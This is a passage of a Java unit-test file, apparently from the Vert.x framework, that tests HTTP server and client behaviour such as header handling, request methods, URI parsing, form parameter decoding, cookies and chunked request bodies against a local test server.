assertTrue(req.write("foo") == req);
assertTrue(req.write(Buffer.buffer("foo")) == req);
testComplete();
}));
await();
}
@Test
public void testListenSocketAddress() {
NetClient netClient = vertx.createNetClient();
server = vertx.createHttpServer().requestHandler(req -> req.response().end());
SocketAddress sockAddress = SocketAddress.inetSocketAddress(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST);
server.listen(sockAddress, onSuccess(server -> {
netClient.connect(sockAddress, onSuccess(sock -> {
sock.handler(buf -> {
assertTrue("Response is not an http 200", buf.toString("UTF-8").startsWith("HTTP/1.1 200 OK"));
testComplete();
});
sock.write("GET / HTTP/1.1\r\n\r\n");
}));
}));
try {
await();
} finally {
netClient.close();
}
}
@Test
public void testListenDomainSocketAddress() throws Exception {
Vertx vx = Vertx.vertx(new VertxOptions().setPreferNativeTransport(true));
Assume.assumeTrue("Native transport must be enabled", vx.isNativeTransportEnabled());
NetClient netClient = vx.createNetClient();
HttpServer httpserver = vx.createHttpServer().requestHandler(req -> req.response().end());
File sockFile = TestUtils.tmpFile("vertx", ".sock");
SocketAddress sockAddress = SocketAddress.domainSocketAddress(sockFile.getAbsolutePath());
httpserver.listen(sockAddress, onSuccess(server -> {
netClient.connect(sockAddress, onSuccess(sock -> {
sock.handler(buf -> {
assertTrue("Response is not an http 200", buf.toString("UTF-8").startsWith("HTTP/1.1 200 OK"));
testComplete();
});
sock.write("GET / HTTP/1.1\r\n\r\n");
}));
}));
try {
await();
} finally {
vx.close();
}
}
@Test
public void testLowerCaseHeaders() {
server.requestHandler(req -> {
assertEquals("foo", req.headers().get("Foo"));
assertEquals("foo", req.headers().get("foo"));
assertEquals("foo", req.headers().get("fOO"));
assertTrue(req.headers().contains("Foo"));
assertTrue(req.headers().contains("foo"));
assertTrue(req.headers().contains("fOO"));
req.response().putHeader("Quux", "quux");
assertEquals("quux", req.response().headers().get("Quux"));
assertEquals("quux", req.response().headers().get("quux"));
assertEquals("quux", req.response().headers().get("qUUX"));
assertTrue(req.response().headers().contains("Quux"));
assertTrue(req.response().headers().contains("quux"));
assertTrue(req.response().headers().contains("qUUX"));
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals("quux", resp.headers().get("Quux"));
assertEquals("quux", resp.headers().get("quux"));
assertEquals("quux", resp.headers().get("qUUX"));
assertTrue(resp.headers().contains("Quux"));
assertTrue(resp.headers().contains("quux"));
assertTrue(resp.headers().contains("qUUX"));
testComplete();
});
req.putHeader("Foo", "foo");
assertEquals("foo", req.headers().get("Foo"));
assertEquals("foo", req.headers().get("foo"));
assertEquals("foo", req.headers().get("fOO"));
assertTrue(req.headers().contains("Foo"));
assertTrue(req.headers().contains("foo"));
assertTrue(req.headers().contains("fOO"));
req.end();
}));
await();
}
@Test
public void testServerActualPortWhenSet() {
server
.requestHandler(request -> {
request.response().end("hello");
})
.listen(ar -> {
assertEquals(ar.result().actualPort(), DEFAULT_HTTP_PORT);
vertx.createHttpClient(createBaseClientOptions()).getNow(ar.result().actualPort(), DEFAULT_HTTP_HOST, "/", response -> {
assertEquals(response.statusCode(), 200);
response.bodyHandler(body -> {
assertEquals(body.toString("UTF-8"), "hello");
testComplete();
});
});
});
await();
}
@Test
public void testServerActualPortWhenZero() {
server = vertx.createHttpServer(createBaseServerOptions().setPort(0).setHost(DEFAULT_HTTP_HOST));
server
.requestHandler(request -> {
request.response().end("hello");
})
.listen(ar -> {
assertTrue(ar.result().actualPort() != 0);
vertx.createHttpClient(createBaseClientOptions()).getNow(ar.result().actualPort(), DEFAULT_HTTP_HOST, "/", response -> {
assertEquals(response.statusCode(), 200);
response.bodyHandler(body -> {
assertEquals(body.toString("UTF-8"), "hello");
testComplete();
});
});
});
await();
}
@Test
public void testServerActualPortWhenZeroPassedInListen() {
server = vertx.createHttpServer(new HttpServerOptions(createBaseServerOptions()).setHost(DEFAULT_HTTP_HOST));
server
.requestHandler(request -> {
request.response().end("hello");
})
.listen(0, ar -> {
assertTrue(ar.result().actualPort() != 0);
vertx.createHttpClient(createBaseClientOptions()).getNow(ar.result().actualPort(), DEFAULT_HTTP_HOST, "/", response -> {
assertEquals(response.statusCode(), 200);
response.bodyHandler(body -> {
assertEquals(body.toString("UTF-8"), "hello");
testComplete();
});
});
});
await();
}
@Test
public void testRequestNPE() {
String uri = "/some-uri?foo=bar";
TestUtils.assertNullPointerException(() -> client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, uri, null));
TestUtils.assertNullPointerException(() -> client.request((HttpMethod)null, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, uri, resp -> {}));
TestUtils.assertNullPointerException(() -> client.requestAbs((HttpMethod) null, "http://someuri", resp -> {
}));
TestUtils.assertNullPointerException(() -> client.request(HttpMethod.GET, 8080, "localhost", "/somepath", null));
TestUtils.assertNullPointerException(() -> client.request((HttpMethod) null, 8080, "localhost", "/somepath", resp -> {
}));
TestUtils.assertNullPointerException(() -> client.request(HttpMethod.GET, 8080, null, "/somepath", resp -> {
}));
TestUtils.assertNullPointerException(() -> client.request(HttpMethod.GET, 8080, "localhost", null, resp -> {
}));
}
@Test
public void testInvalidAbsoluteURI() {
try {
client.requestAbs(HttpMethod.GET, "ijdijwidjqwoijd192d192192ej12d", resp -> {
}).end();
fail("Should throw exception");
} catch (VertxException e) {
//OK
}
}
@Test
public void testPutHeadersOnRequest() {
server.requestHandler(req -> {
assertEquals("bar", req.headers().get("foo"));
assertEquals("bar", req.getHeader("foo"));
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals(200, resp.statusCode());
testComplete();
}).putHeader("foo", "bar").end();
}));
await();
}
@Test
public void testPutHeaderReplacesPreviousHeaders() throws Exception {
server.requestHandler(req ->
req.response()
.putHeader("Location", "http://example1.org")
.putHeader("location", "http://example2.org")
.end());
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertEquals(singletonList("http://example2.org"), resp.headers().getAll("LocatioN"));
testComplete();
}).end();
}));
await();
}
@Test
public void testSimpleGET() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.GET, resp -> testComplete());
}
@Test
public void testSimplePUT() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.PUT, resp -> testComplete());
}
@Test
public void testSimplePOST() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.POST, resp -> testComplete());
}
@Test
public void testSimpleDELETE() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.DELETE, resp -> testComplete());
}
@Test
public void testSimpleHEAD() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.HEAD, resp -> testComplete());
}
@Test
public void testSimpleTRACE() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.TRACE, resp -> testComplete());
}
@Test
public void testSimpleCONNECT() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.CONNECT, resp -> testComplete());
}
@Test
public void testSimpleOPTIONS() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.OPTIONS, resp -> testComplete());
}
@Test
public void testSimplePATCH() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.PATCH, resp -> testComplete());
}
@Test
public void testSimpleGETAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.GET, true, resp -> testComplete());
}
@Test
public void testEmptyPathGETAbsolute() {
String uri = "";
testSimpleRequest(uri, HttpMethod.GET, true, resp -> testComplete());
}
@Test
public void testNoPathButQueryGETAbsolute() {
String uri = "?foo=bar";
testSimpleRequest(uri, HttpMethod.GET, true, resp -> testComplete());
}
@Test
public void testSimplePUTAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.PUT, true, resp -> testComplete());
}
@Test
public void testSimplePOSTAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.POST, true, resp -> testComplete());
}
@Test
public void testSimpleDELETEAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.DELETE, true, resp -> testComplete());
}
@Test
public void testSimpleHEADAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.HEAD, true, resp -> testComplete());
}
@Test
public void testSimpleTRACEAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.TRACE, true, resp -> testComplete());
}
@Test
public void testSimpleCONNECTAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.CONNECT, true, resp -> testComplete());
}
@Test
public void testSimpleOPTIONSAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.OPTIONS, true, resp -> testComplete());
}
@Test
public void testSimplePATCHAbsolute() {
String uri = "/some-uri?foo=bar";
testSimpleRequest(uri, HttpMethod.PATCH, true, resp -> testComplete());
}
private void testSimpleRequest(String uri, HttpMethod method, Handler<HttpClientResponse> handler) {
testSimpleRequest(uri, method, false, handler);
}
private void testSimpleRequest(String uri, HttpMethod method, boolean absolute, Handler<HttpClientResponse> handler) {
boolean ssl = this instanceof Http2Test;
HttpClientRequest req;
if (absolute) {
req = client.requestAbs(method, (ssl ? "https://" : "http://") + DEFAULT_HTTP_HOST + ":" + DEFAULT_HTTP_PORT + uri, handler);
} else {
req = client.request(method, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, uri, handler);
}
testSimpleRequest(uri, method, req, absolute);
}
private void testSimpleRequest(String uri, HttpMethod method, HttpClientRequest request, boolean absolute) {
int index = uri.indexOf('?');
String query;
String path;
if (index == -1) {
path = uri;
query = null;
} else {
path = uri.substring(0, index);
query = uri.substring(index + 1);
}
String resource = absolute && path.isEmpty() ? "/" + path : path;
server.requestHandler(req -> {
String expectedPath = req.method() == HttpMethod.CONNECT && req.version() == HttpVersion.HTTP_2 ? null : resource;
String expectedQuery = req.method() == HttpMethod.CONNECT && req.version() == HttpVersion.HTTP_2 ? null : query;
assertEquals(expectedPath, req.path());
assertEquals(method, req.method());
assertEquals(expectedQuery, req.query());
req.response().end();
});
server.listen(onSuccess(server -> request.end()));
await();
}
@Test
public void testServerChaining() {
server.requestHandler(req -> {
assertTrue(req.response().setChunked(true) == req.response());
assertTrue(req.response().write("foo", "UTF-8") == req.response());
assertTrue(req.response().write("foo") == req.response());
testComplete();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler()).end();
}));
await();
}
@Test
public void testServerChainingSendFile() throws Exception {
File file = setupFile("test-server-chaining.dat", "blah");
server.requestHandler(req -> {
assertTrue(req.response().sendFile(file.getAbsolutePath()) == req.response());
assertTrue(req.response().ended());
file.delete();
testComplete();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler()).end();
}));
await();
}
@Test
public void testResponseEndHandlers1() {
waitFor(2);
AtomicInteger cnt = new AtomicInteger();
server.requestHandler(req -> {
req.response().headersEndHandler(v -> {
// Insert another header
req.response().putHeader("extraheader", "wibble");
assertEquals(0, cnt.getAndIncrement());
});
req.response().bodyEndHandler(v -> {
assertEquals(0, req.response().bytesWritten());
assertEquals(1, cnt.getAndIncrement());
complete();
});
req.response().end();
}).listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/", res -> {
assertEquals(200, res.statusCode());
assertEquals("wibble", res.headers().get("extraheader"));
complete();
}).end();
}));
await();
}
@Test
public void testResponseEndHandlers2() {
waitFor(2);
AtomicInteger cnt = new AtomicInteger();
String content = "blah";
server.requestHandler(req -> {
req.response().headersEndHandler(v -> {
// Insert another header
req.response().putHeader("extraheader", "wibble");
assertEquals(0, cnt.getAndIncrement());
});
req.response().bodyEndHandler(v -> {
assertEquals(content.length(), req.response().bytesWritten());
assertEquals(1, cnt.getAndIncrement());
complete();
});
req.response().end(content);
}).listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/", res -> {
assertEquals(200, res.statusCode());
assertEquals("wibble", res.headers().get("extraheader"));
res.bodyHandler(buff -> {
assertEquals(Buffer.buffer(content), buff);
complete();
});
}).end();
}));
await();
}
@Test
public void testResponseEndHandlersChunkedResponse() {
waitFor(2);
AtomicInteger cnt = new AtomicInteger();
String chunk = "blah";
int numChunks = 6;
StringBuilder content = new StringBuilder(chunk.length() * numChunks);
IntStream.range(0, numChunks).forEach(i -> content.append(chunk));
server.requestHandler(req -> {
req.response().headersEndHandler(v -> {
// Insert another header
req.response().putHeader("extraheader", "wibble");
assertEquals(0, cnt.getAndIncrement());
});
req.response().bodyEndHandler(v -> {
assertEquals(content.length(), req.response().bytesWritten());
assertEquals(1, cnt.getAndIncrement());
complete();
});
req.response().setChunked(true);
// note that we have a -1 here because the last chunk is written via end(chunk)
IntStream.range(0, numChunks - 1).forEach(x -> req.response().write(chunk));
// End with a chunk to ensure size is correctly calculated
req.response().end(chunk);
}).listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/", res -> {
assertEquals(200, res.statusCode());
assertEquals("wibble", res.headers().get("extraheader"));
res.bodyHandler(buff -> {
assertEquals(Buffer.buffer(content.toString()), buff);
complete();
});
}).end();
}));
await();
}
@Test
public void testResponseEndHandlersSendFile() throws Exception {
waitFor(2);
AtomicInteger cnt = new AtomicInteger();
String content = "iqdioqwdqwiojqwijdwqd";
File toSend = setupFile("somefile.txt", content);
server.requestHandler(req -> {
req.response().headersEndHandler(v -> {
// Insert another header
req.response().putHeader("extraheader", "wibble");
assertEquals(0, cnt.getAndIncrement());
});
req.response().bodyEndHandler(v -> {
assertEquals(content.length(), req.response().bytesWritten());
assertEquals(1, cnt.getAndIncrement());
complete();
});
req.response().sendFile(toSend.getAbsolutePath());
}).listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/", res -> {
assertEquals(200, res.statusCode());
assertEquals("wibble", res.headers().get("extraheader"));
res.bodyHandler(buff -> {
assertEquals(Buffer.buffer(content), buff);
complete();
});
}).end();
}));
await();
}
@Test
public void testAbsoluteURI() {
testURIAndPath("http://localhost:" + DEFAULT_HTTP_PORT + "/this/is/a/path/foo.html", "/this/is/a/path/foo.html");
}
@Test
public void testRelativeURI() {
testURIAndPath("/this/is/a/path/foo.html", "/this/is/a/path/foo.html");
}
@Test
public void testAbsoluteURIWithHttpSchemaInQuery() {
testURIAndPath("http://localhost:" + DEFAULT_HTTP_PORT + "/correct/path?url=http://localhost:8008/wrong/path", "/correct/path");
}
@Test
public void testRelativeURIWithHttpSchemaInQuery() {
testURIAndPath("/correct/path?url=http://localhost:8008/wrong/path", "/correct/path");
}
@Test
public void testAbsoluteURIEmptyPath() {
testURIAndPath("http://localhost:" + DEFAULT_HTTP_PORT + "/", "/");
}
private void testURIAndPath(String uri, String path) {
server.requestHandler(req -> {
assertEquals(uri, req.uri());
assertEquals(path, req.path());
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, uri, resp -> testComplete()).end();
}));
await();
}
@Test
public void testParamUmlauteDecoding() throws UnsupportedEncodingException {
testParamDecoding("\u00e4\u00fc\u00f6");
}
@Test
public void testParamPlusDecoding() throws UnsupportedEncodingException {
testParamDecoding("+");
}
@Test
public void testParamPercentDecoding() throws UnsupportedEncodingException {
testParamDecoding("%");
}
@Test
public void testParamSpaceDecoding() throws UnsupportedEncodingException {
testParamDecoding(" ");
}
@Test
public void testParamNormalDecoding() throws UnsupportedEncodingException {
testParamDecoding("hello");
}
@Test
public void testParamAltogetherDecoding() throws UnsupportedEncodingException {
testParamDecoding("\u00e4\u00fc\u00f6+% hello");
}
private void testParamDecoding(String value) throws UnsupportedEncodingException {
server.requestHandler(req -> {
req.setExpectMultipart(true);
req.endHandler(v -> {
MultiMap formAttributes = req.formAttributes();
assertEquals(value, formAttributes.get("param"));
});
req.response().end();
});
String postData = "param=" + URLEncoder.encode(value,"UTF-8");
server.listen(onSuccess(server -> {
client.post(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/")
.putHeader(HttpHeaders.CONTENT_TYPE, HttpHeaders.APPLICATION_X_WWW_FORM_URLENCODED)
.putHeader(HttpHeaders.CONTENT_LENGTH, String.valueOf(postData.length()))
.handler(resp -> {
testComplete();
})
.write(postData).end();
}));
await();
}
@Test
public void testParamsAmpersand() {
testParams('&');
}
@Test
public void testParamsSemiColon() {
testParams(';');
}
private void testParams(char delim) {
Map<String, String> params = genMap(10);
String query = generateQueryString(params, delim);
server.requestHandler(req -> {
assertEquals(query, req.query());
assertEquals(params.size(), req.params().size());
for (Map.Entry<String, String> entry : req.params()) {
assertEquals(entry.getValue(), params.get(entry.getKey()));
}
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "some-uri/?" + query, resp -> testComplete()).end();
}));
await();
}
@Test
public void testNoParams() {
server.requestHandler(req -> {
assertNull(req.query());
assertTrue(req.params().isEmpty());
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete()).end();
}));
await();
}
@Test
public void testDefaultRequestHeaders() {
server.requestHandler(req -> {
if (req.version() == HttpVersion.HTTP_1_1) {
assertEquals(1, req.headers().size());
assertEquals("localhost:" + DEFAULT_HTTP_PORT, req.headers().get("host"));
} else {
assertEquals(4, req.headers().size());
assertEquals("https", req.headers().get(":scheme"));
assertEquals("GET", req.headers().get(":method"));
assertEquals("some-uri", req.headers().get(":path"));
assertEquals("localhost:" + DEFAULT_HTTP_PORT, req.headers().get(":authority"));
}
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete()).end();
}));
await();
}
@Test
public void testRequestHeadersWithCharSequence() {
HashMap<CharSequence, String> headers = new HashMap<>();
headers.put(HttpHeaders.TEXT_HTML, "text/html");
headers.put(HttpHeaders.USER_AGENT, "User-Agent");
headers.put(HttpHeaders.APPLICATION_X_WWW_FORM_URLENCODED, "application/x-www-form-urlencoded");
server.requestHandler(req -> {
assertTrue(headers.size() < req.headers().size());
headers.forEach((k, v) -> assertEquals(v, req.headers().get(k)));
headers.forEach((k, v) -> assertEquals(v, req.getHeader(k)));
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete());
headers.forEach((k, v) -> req.headers().add(k, v));
req.end();
}));
await();
}
@Test
public void testRequestHeadersPutAll() {
testRequestHeaders(false);
}
@Test
public void testRequestHeadersIndividually() {
testRequestHeaders(true);
}
private void testRequestHeaders(boolean individually) {
MultiMap headers = getHeaders(10);
server.requestHandler(req -> {
assertTrue(headers.size() < req.headers().size());
for (Map.Entry<String, String> entry : headers) {
assertEquals(entry.getValue(), req.headers().get(entry.getKey()));
assertEquals(entry.getValue(), req.getHeader(entry.getKey()));
}
req.response().end();
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete());
if (individually) {
for (Map.Entry<String, String> header : headers) {
req.headers().add(header.getKey(), header.getValue());
}
} else {
req.headers().setAll(headers);
}
req.end();
}));
await();
}
@Test
public void testResponseHeadersPutAll() {
testResponseHeaders(false);
}
@Test
public void testResponseHeadersIndividually() {
testResponseHeaders(true);
}
private void testResponseHeaders(boolean individually) {
MultiMap headers = getHeaders(10);
server.requestHandler(req -> {
if (individually) {
for (Map.Entry<String, String> header : headers) {
req.response().headers().add(header.getKey(), header.getValue());
}
} else {
req.response().headers().setAll(headers);
}
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertTrue(headers.size() < resp.headers().size());
for (Map.Entry<String, String> entry : headers) {
assertEquals(entry.getValue(), resp.headers().get(entry.getKey()));
assertEquals(entry.getValue(), resp.getHeader(entry.getKey()));
}
testComplete();
}).end();
}));
await();
}
@Test
public void testResponseHeadersWithCharSequence() {
HashMap<CharSequence, String> headers = new HashMap<>();
headers.put(HttpHeaders.TEXT_HTML, "text/html");
headers.put(HttpHeaders.USER_AGENT, "User-Agent");
headers.put(HttpHeaders.APPLICATION_X_WWW_FORM_URLENCODED, "application/x-www-form-urlencoded");
server.requestHandler(req -> {
headers.forEach((k, v) -> req.response().headers().add(k, v));
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
assertTrue(headers.size() < resp.headers().size());
headers.forEach((k,v) -> assertEquals(v, resp.headers().get(k)));
headers.forEach((k,v) -> assertEquals(v, resp.getHeader(k)));
testComplete();
}).end();
}));
await();
}
@Test
public void testResponseMultipleSetCookieInHeader() {
testResponseMultipleSetCookie(true, false);
}
@Test
public void testResponseMultipleSetCookieInTrailer() {
testResponseMultipleSetCookie(false, true);
}
@Test
public void testResponseMultipleSetCookieInHeaderAndTrailer() {
testResponseMultipleSetCookie(true, true);
}
private void testResponseMultipleSetCookie(boolean inHeader, boolean inTrailer) {
List<String> cookies = new ArrayList<>();
server.requestHandler(req -> {
if (inHeader) {
List<String> headers = new ArrayList<>();
headers.add("h1=h1v1");
headers.add("h2=h2v2; Expires=Wed, 09-Jun-2021 10:18:14 GMT");
cookies.addAll(headers);
req.response().headers().set("Set-Cookie", headers);
}
if (inTrailer) {
req.response().setChunked(true);
List<String> trailers = new ArrayList<>();
trailers.add("t1=t1v1");
trailers.add("t2=t2v2; Expires=Wed, 09-Jun-2021 10:18:14 GMT");
cookies.addAll(trailers);
req.response().trailers().set("Set-Cookie", trailers);
}
req.response().end();
});
server.listen(onSuccess(server -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> {
assertEquals(cookies.size(), resp.cookies().size());
for (int i = 0; i < cookies.size(); ++i) {
assertEquals(cookies.get(i), resp.cookies().get(i));
}
testComplete();
});
}).end();
}));
await();
}
@Test
public void testUseRequestAfterComplete() {
server.requestHandler(noOpHandler());
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
req.end();
Buffer buff = Buffer.buffer();
assertIllegalStateException(() -> req.end());
assertIllegalStateException(() -> req.continueHandler(noOpHandler()));
assertIllegalStateException(() -> req.drainHandler(noOpHandler()));
assertIllegalStateException(() -> req.end("foo"));
assertIllegalStateException(() -> req.end(buff));
assertIllegalStateException(() -> req.end("foo", "UTF-8"));
assertIllegalStateException(() -> req.sendHead());
assertIllegalStateException(() -> req.setChunked(false));
assertIllegalStateException(() -> req.setWriteQueueMaxSize(123));
assertIllegalStateException(() -> req.write(buff));
assertIllegalStateException(() -> req.write("foo"));
assertIllegalStateException(() -> req.write("foo", "UTF-8"));
assertIllegalStateException(() -> req.write(buff));
assertIllegalStateException(() -> req.writeQueueFull());
testComplete();
}));
await();
}
@Test
public void testRequestBodyBufferAtEnd() {
Buffer body = TestUtils.randomBuffer(1000);
server.requestHandler(req -> req.bodyHandler(buffer -> {
assertEquals(body, buffer);
req.response().end();
}));
server.listen(onSuccess(server -> {
client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete()).end(body);
}));
await();
}
@Test
public void testRequestBodyStringDefaultEncodingAtEnd() {
testRequestBodyStringAtEnd(null);
}
@Test
public void testRequestBodyStringUTF8AtEnd() {
testRequestBodyStringAtEnd("UTF-8");
}
@Test
public void testRequestBodyStringUTF16AtEnd() {
testRequestBodyStringAtEnd("UTF-16");
}
private void testRequestBodyStringAtEnd(String encoding) {
String body = TestUtils.randomUnicodeString(1000);
Buffer bodyBuff;
if (encoding == null) {
bodyBuff = Buffer.buffer(body);
} else {
bodyBuff = Buffer.buffer(body, encoding);
}
server.requestHandler(req -> {
req.bodyHandler(buffer -> {
assertEquals(bodyBuff, buffer);
testComplete();
});
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
if (encoding == null) {
req.end(body);
} else {
req.end(body, encoding);
}
}));
await();
}
@Test
public void testRequestBodyWriteChunked() {
testRequestBodyWrite(true);
}
@Test
public void testRequestBodyWriteNonChunked() {
testRequestBodyWrite(false);
}
private void testRequestBodyWrite(boolean chunked) {
Buffer body = Buffer.buffer();
server.requestHandler(req -> {
req.bodyHandler(buffer -> {
assertEquals(body, buffer);
req.response().end();
});
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete());
int numWrites = 10;
int chunkSize = 100;
if (chunked) {
req.setChunked(true);
} else {
req.headers().set("Content-Length", String.valueOf(numWrites * chunkSize));
}
for (int i = 0; i < numWrites; i++) {
Buffer b = TestUtils.randomBuffer(chunkSize);
body.appendBuffer(b);
req.write(b);
}
req.end();
}));
await();
}
@Test
public void testRequestBodyWriteStringChunkedDefaultEncoding() {
testRequestBodyWriteString(true, null);
}
@Test
public void testRequestBodyWriteStringChunkedUTF8() {
testRequestBodyWriteString(true, "UTF-8");
}
@Test
public void testRequestBodyWriteStringChunkedUTF16() {
testRequestBodyWriteString(true, "UTF-16");
}
@Test
public void testRequestBodyWriteStringNonChunkedDefaultEncoding() {
testRequestBodyWriteString(false, null);
}
@Test
public void testRequestBodyWriteStringNonChunkedUTF8() {
testRequestBodyWriteString(false, "UTF-8");
}
@Test
public void testRequestBodyWriteStringNonChunkedUTF16() {
testRequestBodyWriteString(false, "UTF-16");
}
private void testRequestBodyWriteString(boolean chunked, String encoding) {
String body = TestUtils.randomUnicodeString(1000);
Buffer bodyBuff;
if (encoding == null) {
bodyBuff = Buffer.buffer(body);
} else {
bodyBuff = Buffer.buffer(body, encoding);
}
server.requestHandler(req -> {
req.bodyHandler(buff -> {
assertEquals(bodyBuff, buff);
testComplete();
});
});
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
if (chunked) {
req.setChunked(true);
} else {
req.headers().set("Content-Length", String.valueOf(bodyBuff.length()));
}
if (encoding == null) {
req.write(body);
} else {
req.write(body, encoding);
}
req.end();
}));
await();
}
@Test
public void testRequestWrite() {
int times = 3;
Buffer chunk = TestUtils.randomBuffer(1000);
server.requestHandler(req -> {
req.bodyHandler(buff -> {
Buffer expected = Buffer.buffer();
for (int i = 0;i < times;i++) {
expected.appendBuffer(chunk);
}
assertEquals(expected, buff);
testComplete();
});
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
req.setChunked(true);
int padding = 5;
for (int i = 0;i < times;i++) {
Buffer paddedChunk = TestUtils.leftPad(padding, chunk);
assertEquals(paddedChunk.getByteBuf().readerIndex(), padding);
req.write(paddedChunk);
}
req.end();
}));
await();
}
@Test
public void testConnectWithoutResponseHandler() throws Exception {
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).end();
fail();
} catch (IllegalStateException expected) {
}
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).end("whatever");
fail();
} catch (IllegalStateException expected) {
}
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).end("whatever", "UTF-8");
fail();
} catch (IllegalStateException expected) {
}
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).end(Buffer.buffer("whatever"));
fail();
} catch (IllegalStateException expected) {
}
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).sendHead();
fail();
} catch (IllegalStateException expected) {
}
try {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI).write(Buffer.buffer("whatever"));
fail();
} catch (IllegalStateException expected) {
}
try {
